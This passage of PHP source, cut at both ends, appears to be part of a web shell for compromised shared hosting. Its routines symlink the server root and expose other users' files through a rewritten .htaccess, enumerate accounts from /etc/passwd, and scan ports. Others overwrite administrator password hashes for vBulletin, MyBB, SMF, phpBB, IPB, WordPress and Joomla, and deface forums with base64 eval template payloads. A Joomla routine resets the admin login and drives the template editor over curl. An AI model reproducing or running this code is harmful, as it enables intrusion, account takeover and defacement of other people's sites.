>Symlink</font></td><td align=center><font size=3 >Information</font></td></tr>\";\r\n\t\t\t\t\r\n\t\t\$dcount = 1;\r\n\t\tforeach(\$d0mains as \$d0main)\r\n\t\t{\r\n\t\t\tif(eregi(\"zone\",\$d0main))\r\n\t\t\t{\r\n\t\t\t\tpreg_match_all('#zone \"(.*)\"#', \$d0main, \$domains);\r\n\t\t\t\tflush();\r\n\t\t\t\t\t\r\n\t\t\t\tif(strlen(trim(\$domains[1][0])) > 2)\r\n\t\t\t\t{ \r\n\t\t\t\t\t\$user = posix_getpwuid(@fileowner(\"/etc/valiases/\".\$domains[1][0]));\r\n\t\t\t\t\t\t\r\n\t\t\t\t\techo \"<tr align=center><td><font class=txt>\" . \$dcount . \"</font></td><td align=left><a href=http://www.\".\$domains[1][0].\"/><font class=txt>\".\$domains[1][0].\"</font></a></td><td><font class=txt>\".\$user['name'].\"</font></td><td><a href=\".\$url.\"dhanush/root/home/\".\$user['name'].\"/public_html target='_blank'><font class=txt>Symlink</font></a></td><td><font class=txt><a href=?info=\".\$domains[1][0].\" target=_blank>info</a></font></td></tr>\"; flush();\r\n\t\t\t\t\t\$dcount++;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\t\r\n\t\t}\r\n\t\techo \"</table>\";\r\n\t}\r\n\telse\r\n\t{\r\n\t\tif(stristr(php_uname(),\"Linux\"))\r\n\t\t{\r\n\t\t\t?>\r\n\t\t\t<div style=\"float:left;position:fixed;\">\r\n\t\t\t<form>\r\n\t\t\t<table cellpadding=\"9\">\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<th colspan=\"2\">Get User Name</th>\r\n\t\t\t\t</tr>\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<td>Enter Website Name :</td>\r\n\t\t\t\t\t<td><input type=\"text\" name=\"sitename\" value=\"sitename.com\" class=\"sbox\"></td>\r\n\t\t\t\t</tr>\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<td align=\"center\" colspan=\"2\"><input type=\"button\" onClick=\"getname(sitename.value)\" value=\" Get IT \" class=\"but\"></td>\r\n\t\t\t\t</tr>\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<td colspan=2 align=center><div style=\"width:250px;\" id=\"showsite\"></div></td>\r\n\t\t\t\t</tr>\r\n\t\t\t</table>\r\n\t\t\t</form>\r\n\t\t\t</div>\r\n\t\t\t<?php\r\n\t\t\t\$TEST=@file('/etc/passwd');\r\n\t\t\tif (\$TEST) \r\n\t\t\t{\r\n\t\t\t\t@mkdir(\"dhanush\",0777);\r\n\t\t\t\t@chdir(\"dhanush\");\r\n\t\t\t\texecmd(\"ln -s / root\");\r\n\t\t\t\t\$file3 = 'Options all \r\n\t\t\t\t DirectoryIndex Sux.html \r\n\t\t\t\t AddType text/plain .php \r\n\t\t\t\t AddHandler server-parsed .php \r\n\t\t\t\t AddType text/plain .html \r\n\t\t\t\t AddHandler txt .html \r\n\t\t\t\t Require None \r\n\t\t\t\t Satisfy Any \r\n\t\t\t\t';\r\n\t\t\t\t\$fp3 = fopen('.htaccess','w');\r\n\t\t\t\t\$fw3 = fwrite(\$fp3,\$file3);\r\n\t\t\t\t@fclose(\$fp3);\r\n\t\t\t\t\t\t\t\r\n\t\t\t\techo \"<table align=center border=1 style='width:40%;border-color:#333333;'><tr><td align=center><font size=4 >S. No.</font></td><td align=center><font size=4 >Users</font></td><td align=center><font size=3 >Symlink</font></td></tr>\";\r\n\t\t\t\t\t\t\r\n\t\t\t\t\$dcount = 1;\r\n\t\t\t\t\$file = fopen(\"/etc/passwd\", \"r\");\r\n\t\t\t\t//Output a line of the file until the end is reached\r\n\t\t\t\twhile(!feof(\$file))\r\n\t\t\t\t{\r\n\t\t\t\t\t\$s = fgets(\$file);\r\n\t\t\t\t\t\$matches = array();\r\n\t\t\t\t\t\$t = preg_match('/\\/(.*?)\\:\\//s', \$s, \$matches);\r\n\t\t\t\t\t\$matches = str_replace(\"home/\",\"\",\$matches[1]);\r\n\t\t\t\t\tif(strlen(\$matches) > 12 || strlen(\$matches) == 0 || \$matches == \"bin\" || \$matches == \"etc/X11/fs\" || \$matches == \"var/lib/nfs\" || \$matches == \"var/arpwatch\" || \$matches == \"var/gopher\" || \$matches == \"sbin\" || \$matches == \"var/adm\" || \$matches == \"usr/games\" || \$matches == \"var/ftp\" || \$matches == \"etc/ntp\" || \$matches == \"var/www\" || \$matches == \"var/named\")\r\n\t\t\t\t\t\tcontinue;\r\n\t\t\t\t\techo \"<tr><td align=center><font size=3 class=txt>\" . \$dcount . \"</td><td align=center><font size=3 class=txt>\" . \$matches . \"</td>\";\r\n\t\t\t\t\techo \"<td align=center><font size=3 class=txt><a href=\".\$url.\"dhanush/root/home/\" . \$matches . \"/public_html target='_blank'>Symlink</a></td></tr>\";\r\n\t\t\t\t\t\$dcount++;\r\n\t\t\t\t}\r\n\t\t\t\tfclose(\$file);\r\n\t\t\t\t\t\t\r\n\t\t\t\techo \"</table>\";\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t{\r\n\t\t\t\t@mkdir(\"dhanush\",0777);\r\n\t\t\t\t@chdir(\"dhanush\");\r\n\t\t\t\texecmd(\"ln -s / root\");\r\n\t\t\t\t\$file3 = 'Options all \r\n\t\t\t\t DirectoryIndex Sux.html \r\n\t\t\t\t AddType text/plain .php \r\n\t\t\t\t AddHandler server-parsed .php \r\n\t\t\t\t AddType text/plain .html \r\n\t\t\t\t AddHandler txt .html \r\n\t\t\t\t Require None \r\n\t\t\t\t Satisfy Any \r\n\t\t\t\t';\r\n\t\t\t\t\$fp3 = fopen('.htaccess','w');\r\n\t\t\t\t\$fw3 = fwrite(\$fp3,\$file3);\r\n\t\t\t\t@fclose(\$fp3);\r\n\t\t\t\t\r\n\t\t\t\techo \"<table align=center border=1 style='width:40%;border-color:#333333;'><tr><td align=center><font size=4 >S. No.</font></td><td align=center><font size=4 >Users</font></td><td align=center><font size=3 >Symlink</font></td></tr>\";\r\n\t\t\t\t\t\t\r\n\t\t\t\t\$temp = \"\";\r\n\t\t\t\t\$val1 = 0;\r\n\t\t\t\t\$val2 = 1000;\r\n\t\t\t\tfor(;\$val1 <= \$val2;\$val1++) \r\n\t\t\t\t{\r\n\t\t\t\t\t\$uid = @posix_getpwuid(\$val1);\r\n\t\t\t\t\tif (\$uid)\r\n\t\t\t\t\t \$temp .= join(':',\$uid).\"\\n\";\r\n\t\t\t\t }\r\n\t\t\t\t echo '<br/>';\r\n\t\t\t\t \$temp = trim(\$temp);\r\n\t\t\t\t \r\n\t\t\t\t \$file5 = fopen(\"test.txt\",\"w\");\r\n\t\t\t\t fputs(\$file5,\$temp);\r\n\t\t\t\t fclose(\$file5);\r\n\t\t\t\t\t \r\n\t\t\t\t \$dcount = 1;\r\n\t\t\t\t \$file = fopen(\"test.txt\", \"r\");\r\n\t\t\t\t while(!feof(\$file))\r\n\t\t\t\t {\r\n\t\t\t\t\t\$s = fgets(\$file);\r\n\t\t\t\t\t\$matches = array();\r\n\t\t\t\t\t\$t = preg_match('/\\/(.*?)\\:\\//s', \$s, \$matches);\r\n\t\t\t\t\t\$matches = str_replace(\"home/\",\"\",\$matches[1]);\r\n\t\t\t\t\tif(strlen(\$matches) > 12 || strlen(\$matches) == 0 || \$matches == \"bin\" || \$matches == \"etc/X11/fs\" || \$matches == \"var/lib/nfs\" || \$matches == \"var/arpwatch\" || \$matches == \"var/gopher\" || \$matches == \"sbin\" || \$matches == \"var/adm\" || \$matches == \"usr/games\" || \$matches == \"var/ftp\" || \$matches == \"etc/ntp\" || \$matches == \"var/www\" || \$matches == \"var/named\")\r\n\t\t\t\t\t\tcontinue;\r\n\t\t\t\t\techo \"<tr><td align=center><font size=3 class=txt>\" . \$dcount . \"</td><td align=center><font size=3 class=txt>\" . \$matches . \"</td>\";\r\n\t\t\t\t\techo \"<td align=center><font size=3 class=txt><a href=\".\$url.\"dhanush/root/home/\" . \$matches . \"/public_html target='_blank'>Symlink</a></td></tr>\";\r\n\t\t\t\t\t\$dcount++;\r\n\t\t\t\t }\r\n\t\t\t\t\tfclose(\$file);\r\n\t\t\t\t\techo \"</table>\";\r\n\t\t\t\t\tunlink(\"test.txt\");\r\n\t\t\t}\r\n\t\t}\r\n\t\telse\r\n\t\t\techo \"<center><font size=4 >Cannot create Symlink</font></center>\";\r\n\t}\r\n}\r\nelse if(isset(\$_GET['host']) && isset(\$_GET['protocol']))\r\n{\r\n\techo \"Open Ports: \";\r\n\t\$host = \$_GET['host'];\r\n\t\$proto = \$_GET['protocol'];\r\n\t\$myports = array(\"21\",\"22\",\"23\",\"25\",\"59\",\"80\",\"113\",\"135\",\"445\",\"1025\",\"5000\",\"5900\",\"6660\",\"6661\",\"6662\",\"6663\",\"6665\",\"6666\",\"6667\",\"6668\",\"6669\",\"7000\",\"8080\",\"8018\");\r\n\tfor(\$current = 0; \$current <= 23; \$current++)\r\n\t{\r\n\t\t\$currents = \$myports[\$current];\r\n\t\t\$service = getservbyport(\$currents, \$proto);\r\n\t\t// Try to connect to port\r\n\t\t\$result = fsockopen(\$host, \$currents, \$errno, \$errstr, 1);\r\n\t\t// Show results\r\n\t\tif(\$result)\r\n\t\t\techo \"<font class=txt>\$currents, </font>\";\r\n\t}\r\n}\r\nelse if(isset(\$_REQUEST['forumpass']))\r\n{\r\n\t\t\$localhost = \$_GET['f1']; \r\n\t\t\$database = \$_GET['f2']; \r\n\t\t\$username = \$_GET['f3']; \r\n\t\t\$password = \$_GET['f4']; \r\n\t\t\$prefix = \$_GET['prefix'];\r\n\t\t\$newpass = \$_GET['newpass'];\r\n\t\t\$uid = \$_GET['uid'];\r\n\t\t\r\n\t\tif(\$_GET['forums'] == \"vb\")\r\n\t\t{\t\r\n\t\t\t\$newpass = \$_GET['newipbpass'];\r\n\t\t\t\$uid = \$_GET['ipbuid'];\r\n\t\t\t\$con = mysql_connect(\$localhost,\$username,\$password);\r\n\t\t\t\$db = mysql_select_db(\$database,\$con);\r\n\t\t\t\$salt = \"eghjghrtd\";\r\n\t\t\t\$newpassword = md5(md5(\$newpass) . \$salt);\r\n\t\t\tif(\$prefix == \"\" || \$prefix == null)\r\n\t\t\t\t\$sql = mysql_query(\"update user set password = '\$newpassword', salt = '\$salt' where userid = '\$uid'\");\r\n\t\t\telse\r\n\t\t\t\t\$sql = mysql_query(\"update \".\$prefix.\"user set password = '\$newpassword', salt = '\$salt' where userid = '\$uid'\");\r\n\t\t\tif(\$sql)\r\n\t\t\t{\r\n\t\t\t\tmysql_close(\$con);\r\n\t\t\t\techo \"<font class=txt>Password Changed Successfully</font>\";\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t\techo \"Cannot Change Password\";\r\n\t\t}\r\n\t\telse if(\$_GET['forums'] == \"mybb\")\r\n\t\t{\t\r\n\t\t\t\$newpass = \$_GET['newipbpass'];\r\n\t\t\t\$uid = \$_GET['ipbuid'];\r\n\t\t\t\$con = mysql_connect(\$localhost,\$username,\$password);\r\n\t\t\t\$db = mysql_select_db(\$database,\$con);\r\n\t\t\t\$salt = \"jeghj\";\r\n\t\t\t\$newpassword = md5(md5(\$salt).md5(\$newpass));\r\n\t\t\tif(\$prefix == \"\" || \$prefix == null)\r\n\t\t\t\t\$sql = mysql_query(\"update mybb_users set password = '\$newpassword', salt = '\$salt' where uid = '\$uid'\");\r\n\t\t\telse\r\n\t\t\t\t\$sql = mysql_query(\"update \".\$prefix.\"users set password = '\$newpassword', salt = '\$salt' where uid = '\$uid'\");\r\n\t\t\tif(\$sql)\r\n\t\t\t{\r\n\t\t\t\tmysql_close(\$con);\r\n\t\t\t\techo \"<font class=txt>Password Changed Successfully</font>\";\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t\techo \"Cannot Change Password\";\r\n\t\t}\r\n\t\telse if(\$_GET['forums'] == \"smf\")\r\n\t\t{\t\r\n\t\t\t\$newpass = \$_GET['newipbpass'];\r\n\t\t\t\$uid = \$_GET['ipbuid'];\r\n\t\t\t\$con = mysql_connect(\$localhost,\$username,\$password);\r\n\t\t\t\$db = mysql_select_db(\$database,\$con);\r\n\t\t\t\t\t\t\t\r\n\t\t\tif(\$prefix == \"\" || \$prefix == null)\r\n\t\t\t{\r\n\t\t\t\t\$result = mysql_query(\"select member_name from smf_members where id_member = \$uid\");\r\n\t\t\t\t\$row = mysql_fetch_array(\$result);\r\n\t\t\t\t\$membername = \$row['member_name'];\r\n\t\t\t\t\$newpassword = sha1(strtolower(\$membername).\$newpass);\r\n\t\t\t\t\$sql = mysql_query(\"update smf_members set passwd = '\$newpassword' where id_member = '\$uid'\");\r\n\t\t\t}\r\n\t\t\telse\r\n\r\n\t\t\t{\r\n\t\t\t\t\$result = mysql_query(\"select member_name from \".\$prefix.\"members where id_member = \$uid\");\r\n\t\t\t\t\$row = mysql_fetch_array(\$result);\r\n\t\t\t\t\$membername = \$row['member_name'];\r\n\t\t\t\t\$newpassword = sha1(strtolower(\$membername).\$newpass);\r\n\t\t\t\t\$sql = mysql_query(\"update \".\$prefix.\"members set passwd = '\$newpassword' where id_member = '\$uid'\");\r\n\t\t\t}\r\n\t\t\tif(\$sql)\r\n\t\t\t{\r\n\t\t\t\tmysql_close(\$con);\r\n\t\t\t\techo \"<font class=txt>Password Changed Successfully</font>\";\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t\techo \"Cannot Change Password\";\r\n\t\t}\r\n\t\telse if(\$_GET['forums'] == \"phpbb\")\r\n\t\t{\t\r\n\t\t\t\$newpass = \$_POST['newipbpass'];\r\n\t\t\t\$uid = \$_POST['ipbuid'];\r\n\t\t\t\$con = mysql_connect(\$localhost,\$username,\$password);\r\n\t\t\t\$db = mysql_select_db(\$database,\$con);\r\n\t\t\t\r\n\t\t\t\$newpassword = md5(\$newpass);\r\n\t\t\tif(empty(\$prefix) || \$prefix == null)\r\n\t\t\t\t\$sql = mysql_query(\"update phpb_users set user_password = '\$newpassword' where user_id = '\$uid'\");\r\n\t\t\telse\r\n\t\t\t\t\$sql = mysql_query(\"update \".\$prefix.\"users set user_password = '\$newpassword' where user_id = '\$uid'\");\r\n\t\t\tif(\$sql)\r\n\t\t\t{\r\n\t\t\t\tmysql_close(\$con);\r\n\t\t\t\techo \"<font class=txt>Password Changed Successfully</font>\";\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t\techo \"Cannot Change Password\";\r\n\t\t}\r\n\t\telse if(\$_GET['forums'] == \"ipb\")\r\n\t\t{\r\n\t\t\t\$newpass = \$_POST['newipbpass'];\r\n\t\t\t\$uid = \$_POST['ipbuid'];\r\n\t\t\t\$con = mysql_connect(\$localhost,\$username,\$password);\r\n\t\t\t\$db = mysql_select_db(\$database,\$con);\r\n\t\t\t\$salt = \"eghj\";\r\n\t\t\t\$newpassword = md5(md5(\$salt).md5(\$newpass));\r\n\t\t\tif(\$prefix == \"\" || \$prefix == null)\r\n\t\t\t\t\$sql = mysql_query(\"update members set members_pass_hash = '\$newpassword', members_pass_salt = '\$salt' where member_id = '\$uid'\");\r\n\t\t\telse\r\n\t\t\t\t\$sql = mysql_query(\"update \".\$prefix.\"members set members_pass_hash = '\$newpassword', members_pass_salt = '\$salt' where member_id = '\$uid'\");\r\n\t\t\tif(\$sql)\r\n\t\t\t{\r\n\t\t\t\tmysql_close(\$con);\r\n\t\t\t\techo \"<font class=txt>Password Changed Successfully</font>\";\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t\techo \"Cannot Change Password\";\r\n\t\t}\r\n\t\telse if(\$_GET['forums'] == \"wp\")\r\n\t\t{\t\r\n\t\t\t\$uname = \$_GET['uname'];\r\n\t\t\t\$con = mysql_connect(\$localhost,\$username,\$password);\r\n\t\t\t\$db = mysql_select_db(\$database,\$con);\r\n\r\n\t\t\t\$newpassword = md5(\$newpass);\r\n\t\t\tif(\$prefix == \"\" || \$prefix == null)\r\n\t\t\t\t\$sql = mysql_query(\"update wp_users set user_pass = '\$newpassword', user_login = '\$uname' where ID = '\$uid'\");\r\n\t\t\telse\r\n\t\t\t\t\$sql = mysql_query(\"update \".\$prefix.\"users set user_pass = '\$newpassword', user_login = '\$uname' where ID = '\$uid'\");\r\n\t\t\tif(\$sql)\r\n\t\t\t{\r\n\t\t\t\tmysql_close(\$con);\r\n\t\t\t\techo \"<font class=txt>Password Changed Successfully</font>\";\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t\techo \"Cannot Change Password\";\r\n\t\t}\r\n\t\telse if(\$_GET['forums'] == \"joomla\")\r\n\t\t{\t\r\n\t\t\t\$newjoomlapass = \$_GET['newjoomlapass'];\r\n\t\t\t\$joomlauname = \$_GET['username'];\r\n\t\t\t\$con = mysql_connect(\$localhost,\$username,\$password);\r\n\t\t\t\$db = mysql_select_db(\$database,\$con);\r\n\r\n\t\t\t\$newpassword = md5(\$newjoomlapass);\r\n\t\t\tif(\$prefix == \"\" || \$prefix == null)\r\n\t\t\t\t\$sql = mysql_query(\"update jos_users set password = '\$newpassword', username = '\$joomlauname' where name = 'Super User'\");\r\n\t\t\telse\r\n\t\t\t\t\$sql = mysql_query(\"update \".\$prefix.\"users set password = '\$newpassword', username = '\$joomlauname' where name = 'Super User' OR name = 'Administrator'\");\r\n\t\t\tif(\$sql)\r\n\t\t\t{\r\n\t\t\t\tmysql_close(\$con);\r\n\t\t\t\techo \"<font class=txt>Password Changed Successfully</font>\";\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t\techo \"Cannot Change Password\";\r\n\t\t}\r\n}\r\nelse if(isset(\$_POST['forumdeface']))\r\n{\r\n\t\$localhost = \$_POST['f1']; \r\n\t\$database = \$_POST['f2']; \r\n\t\$username = \$_POST['f3']; \r\n\t\$password = \$_POST['f4']; \r\n\t\$index = \$_POST['index'];\r\n\t\$prefix = \$_POST['tableprefix'];\r\n\t\r\n\tif(\$_POST['forumdeface'] == \"vb\")\r\n\t{\r\n\t\t\$con =@ mysql_connect(\$localhost,\$username,\$password); \r\n\t\t\$db =@ mysql_select_db(\$database,\$con); \r\n\t\t\$index=str_replace('\"','\\\\\"',\$index); \r\n\t\t\$attack = \"{\\\${eval(base64_decode(\\'\"; \r\n\t\t\$attack .= base64_encode(\"echo \\\"\$index\\\";\"); \r\n\t\t\$attack .= \"\\'))}}{\\\${exit()}}</textarea>\"; \r\n\t\tif(\$prefix == \"\" || \$prefix == null)\r\n\t\t\t\t\$query = \"UPDATE template SET template = '\$attack'\"; \r\n\t\telse\r\n\t\t\t\$query = \"UPDATE \".\$prefix.\"template SET template = '\$attack'\"; \r\n\t\t\$result =@ mysql_query(\$query,\$con); \r\n\t\tif(\$result)\r\n\t\t\techo \"<center><font class=txt size=4><blink>Vbulletin Forum Defaced Successfully</blink></font></center>\";\r\n\t\telse\r\n\t\t\techo \"<center><font size=4><blink>Cannot Deface Vbulletin Forum</blink></font></center>\";\r\n\t}\r\n\telse if(\$_POST['forumdeface'] == \"mybb\")\r\n\t{\r\n\t\t\$con =@ mysql_connect(\$localhost,\$username,\$password); \r\n\t\t\$db =@ mysql_select_db(\$database,\$con); \r\n\t\t\$attack = \"{\\\${eval(base64_decode(\\'\"; \r\n\t\t\$attack .= base64_encode(\"echo \\\"\$index\\\";\"); \r\n\t\t\$attack .= \"\\'))}}{\\\${exit()}}</textarea>\"; \r\n\t\t\$attack = str_replace('\"',\"\\\\'\",\$attack);\r\n\t\t\t\r\n\t\tif(\$prefix == \"\" || \$prefix == null)\r\n\t\t\t\$query = \"UPDATE mybb_templates SET template = '\$attack'\"; \r\n\t\telse\r\n\t\t\$query = \"UPDATE \".\$prefix.\"templates SET template = '\$attack'\"; \r\n\t\t\$result =@ mysql_query(\$query,\$con);\r\n\t\tif(\$result)\r\n\t\t\techo \"<center><font class=txt size=4><blink>Mybb Forum Defaced Successfully</blink></font></center>\";\r\n\t\telse\r\n\t\t\techo \"<center><font size=4><blink>Cannot Deface Mybb Forum</blink></font></center>\";\r\n\t}\r\n\telse if(\$_POST['forumdeface'] == \"smf\")\r\n\t{\r\n\t\t\$head = \$_POST['head'];\r\n\t\t\$catid = \$_POST['f5'];\r\n\t\t\t\t\t\t\r\n\t\t\$con =@ mysql_connect(\$localhost,\$username,\$password); \r\n\t\t\$db =@ mysql_select_db(\$database,\$con); \r\n\t\tif(\$prefix == \"\" || \$prefix == null)\r\n\t\t\t\$query = \"UPDATE boards SET name='\$head', description='\$index' WHERE id_cat='\$catid'\"; \r\n\t\telse\r\n\t\t\t\$query = \"UPDATE \".\$prefix.\"boards SET name='\$head', description='\$index' WHERE id_cat='\$catid'\"; \r\n\t\t\$result =@ mysql_query(\$query,\$con);\r\n\t\tif(\$result)\r\n\t\t\techo \"<center><font class=txt size=4><blink>SMF Forum Index Changed Successfully</blink></font></center>\";\r\n\t\telse\r\n\t\t\techo \"<center><font size=4><blink>Cannot Deface SMF Forum</blink></font></center>\";\r\n\t}\r\n\telse if(\$_POST['forumdeface'] == \"ipb\")\r\n\t{\r\n\t\t\$head = \$_POST['head'];\r\n\t\t\$catid = \$_POST['f5'];\r\n\t\t\t\t\t\t\t\r\n\t\t\$IPB = \"forums\";\r\n\t\t\$con =@ mysql_connect(\$localhost,\$username,\$password); \r\n\t\t\$db =@ mysql_select_db(\$database,\$con);\r\n\t\tif(\$prefix == \"\" || \$prefix == null)\r\n\t\t\t\$result =@mysql_query(\$query = \"UPDATE \$IPB SET name = '\$head', description = '\$index' where id = '\$catid'\"); \r\n\t\telse\r\n\t\t\t\$result =@mysql_query(\$query = \"UPDATE \$prefix.\$IPB SET name = '\$head', description = '\$index' where id = '\$catid'\");\r\n\t\tif(\$result)\r\n\t\t\techo \"<center><font class=txt size=4><blink>Forum Defaced Successfully</blink></font></center>\";\r\n\t\telse\r\n\t\t\techo \"<center><font size=4><blink>Cannot Deface Forum</blink></font></center>\";\r\n\t}\r\n\telse if(\$_POST['forumdeface'] == \"wp\")\r\n\t{\r\n\t\t\$catid = \$_POST['f5'];\r\n\t\t\$head = \$_POST['head'];\r\n\t\t\t\t\r\n\t\t\$con =@ mysql_connect(\$localhost,\$username,\$password); \r\n\t\t\$db =@ mysql_select_db(\$database,\$con); \r\n\t\tif(\$prefix == \"\" || \$prefix == null)\r\n\t\t{\r\n\t\t\tif(isset(\$_POST[\"alll\"]) && \$_POST[\"alll\"] == \"All\")\r\n\t\t\t\t\$query = \"UPDATE wp_posts SET post_title='\$head', post_content='\$index'\"; \r\n\t\t\telse\r\n\t\t\t\t\$query = \"UPDATE wp_posts SET post_title='\$head', post_content='\$index' WHERE ID='\$catid'\"; \r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\tif(isset(\$_POST[\"alll\"]) && \$_POST[\"alll\"] == \"All\")\r\n\t\t\t\t\$query = \"UPDATE \".\$prefix.\"posts SET post_title='\$head', post_content='\$index'\";\r\n\t\t\telse\r\n\t\t\t\t\$query = \"UPDATE \".\$prefix.\"posts SET post_title='\$head', post_content='\$index' WHERE ID='\$catid'\";\r\n\t\t\t\t\t\r\n\t\t}\r\n\t\t\$result =@mysql_query(\$query,\$con) or mysql_error();\r\n\t\tif(\$result)\r\n\t\t\techo \"<center><font class=txt size=4><blink>Wordpress Defaced Successfully</blink></font></center>\";\r\n\t\telse\r\n\t\t\techo \"<center><font size=4><blink>Cannot Deface Wordpress</blink></font></center>\";\r\n\t}\r\n\telse if(\$_POST['forumdeface'] == \"joomla\")\r\n\t{\r\n\t\t\$site_url = \$_POST['siteurl'];\r\n\t\t\$dbprefix = \$_POST['tableprefix'];\r\n\t\t\$dbname = \$_POST['f2']; \r\n\t\t\$h=\"<? echo(stripslashes(base64_decode('\".urlencode(base64_encode(str_replace(\"'\",\"'\",(\$_POST['index'])))).\"'))); exit; ?>\";\r\n\t\t\r\n\t\tfunction randomt() \r\n\t\t{ \r\n\t\t\t\$chars = \"abcdefghijkmnopqrstuvwxyz023456789\"; \r\n\t\t\tsrand((double)microtime()*1000000); \r\n\t\t\t\$i = 0; \r\n\t\t\t\$pass = '' ; \r\n\t\t\t\t\t\r\n\t\t\twhile (\$i <= 7) \r\n\t\t\t{ \r\n\t\t\t\t\$num = rand() % 33; \r\n\t\t\t\t\$tmp = substr(\$chars, \$num, 1); \r\n\t\t\t\t\$pass = \$pass . \$tmp; \r\n\t\t\t\t\$i++; \r\n\t\t\t} \r\n\t\t\t\t\t\r\n\t\t\treturn \$pass; \r\n\t\t}\r\n\t\tfunction entre2v2(\$text,\$marqueurDebutLien,\$marqueurFinLien,\$i=1)\r\n\t\t{\r\n\t\t\t\$ar0=explode(\$marqueurDebutLien, \$text);\r\n\t\t\t\$ar1=explode(\$marqueurFinLien, \$ar0[\$i]);\r\n\t\t\t\$ar=trim(\$ar1[0]);\r\n\t\t\treturn \$ar;\r\n\t\t}\r\n\t\t\$co=randomt();\r\n\t\t\t\t\t\r\n\t\t\$link=mysql_connect(\$localhost,\$username,\$password) ;\r\n\t\tmysql_select_db(\$dbname,\$link);\r\n\t\t\t\t\r\n\t \$tryChaningInfo = mysql_query(\"UPDATE \".\$dbprefix.\"users SET username ='admin' , password = '2a9336f7666f9f474b7a8f67b48de527:DiWqRBR1thTQa2SvBsDqsUENrKOmZtAX'\");\r\n\t\t\t\t\t\t\t\t\t\t\t \r\n\t\t\$req =mysql_query(\"SELECT * from `\".\$dbprefix.\"extensions` \");\r\n\t\t\t\t\t\t \r\n\t\tif ( \$req )\r\n\t\t{\r\n\t\t\t\$req =mysql_query(\"SELECT * from `\".\$dbprefix.\"template_styles` WHERE client_id='0' and home='1'\");\r\n\t\t\t\$data = mysql_fetch_array(\$req);\r\n\t\t\t\$template_name=\$data[\"template\"];\r\n\t\t\t\r\n\t\t\t\$req =mysql_query(\"SELECT * from `\".\$dbprefix.\"extensions` WHERE name='\".\$template_name.\"'\");\r\n\t\t\t \$data = mysql_fetch_array(\$req);\r\n\t\t\t\$template_id=\$data[\"extension_id\"];\r\n\t\t\t\t\t\t\r\n\t\t\t\$url2=\$site_url.\"/index.php\";\r\n\t\t\t\r\n\t\t\t\$ch = curl_init();\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_URL, \$url2);\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_FOLLOWLOCATION, 1);\r\n\t\t\tcurl_setopt(\$ch,CURLOPT_RETURNTRANSFER,1);\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_HEADER, 1);\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_USERAGENT, \$useragent);\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_COOKIEJAR, \$co); \r\n\t\t\tcurl_setopt(\$ch, CURLOPT_COOKIEFILE, \$co); \r\n\t\t\t\r\n\t\t\t\t\r\n\t\t\t\$buffer = curl_exec(\$ch);\r\n\t\t\t\t\r\n\t\t\t\$return=entre2v2(\$buffer ,'<input type=\"hidden\" name=\"return\" value=\"','\"');\r\n\t\t\t\$hidden=entre2v2(\$buffer ,'<input type=\"hidden\" name=\"','\" value=\"1\"',4);\r\n\t\t\t\r\n\t\t\t\t\r\n\t\t\t\$url2=\$site_url.\"/index.php\";\r\n\t\t\t\$ch = curl_init();\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_URL, \$url2);\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_POST, 1);\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_POSTFIELDS,\"username=admin&passwd=123456789&option=com_login&task=login&return=\".\$return.\"&\".\$hidden.\"=1\");\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_FOLLOWLOCATION, 1);\r\n\t\t\tcurl_setopt(\$ch,CURLOPT_RETURNTRANSFER,1);\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_HEADER, 0);\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_USERAGENT, \$useragent);\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_COOKIEJAR, \$co); \r\n\t\t\tcurl_setopt(\$ch, CURLOPT_COOKIEFILE, \$co); \r\n\t\t\t\$buffer = curl_exec(\$ch);\r\n\t\t\t\t\t\t\r\n\t\t\t\$pos = strpos(\$buffer,\"com_config\");\r\n\t\t\tif(\$pos === false) \r\n\t\t\t{\r\n\t\t\t\techo(\"<br>[-] Login Error\");\r\n\t\t\t\texit;\r\n\t\t\t}\r\n\t\t\t\t\t\t\t\t\t\t\r\n\t\t\t\$url2=\$site_url.\"/index.php?option=com_templates&task=source.edit&id=\".base64_encode(\$template_id.\":index.php\");\r\n\t\t\t\$ch = curl_init();\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_URL, \$url2);\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_FOLLOWLOCATION, 1);\r\n\t\t\tcurl_setopt(\$ch,CURLOPT_RETURNTRANSFER,1);\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_HEADER, 0);\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_USERAGENT, \$useragent);\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_COOKIEJAR, \$co); \r\n\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_COOKIEFILE, \$co); \r\n\t\t\t\$buffer = curl_exec(\$ch);\r\n\t\t\t\t\r\n\t\t\t\$hidden2=entre2v2(\$buffer ,'<input type=\"hidden\" name=\"','\" value=\"1\"',2);\r\n\t\t\tif(!\$hidden2) \r\n\t\t\t{\r\n\t\t\t\techo(\"<br>[-] index.php Not found in Theme Editor\");\r\n\t\t\t\texit;\r\n\t\t\t}\r\n\t\t\t\t\t\t\r\n\t\t\t\$url2=\$site_url.\"/index.php?option=com_templates&layout=edit\";\r\n\t\t\t\t\t\t\r\n\t\t\t\$ch = curl_init();\r\n\t\t\tcurl_setopt(\$ch, CURLOPT_URL, 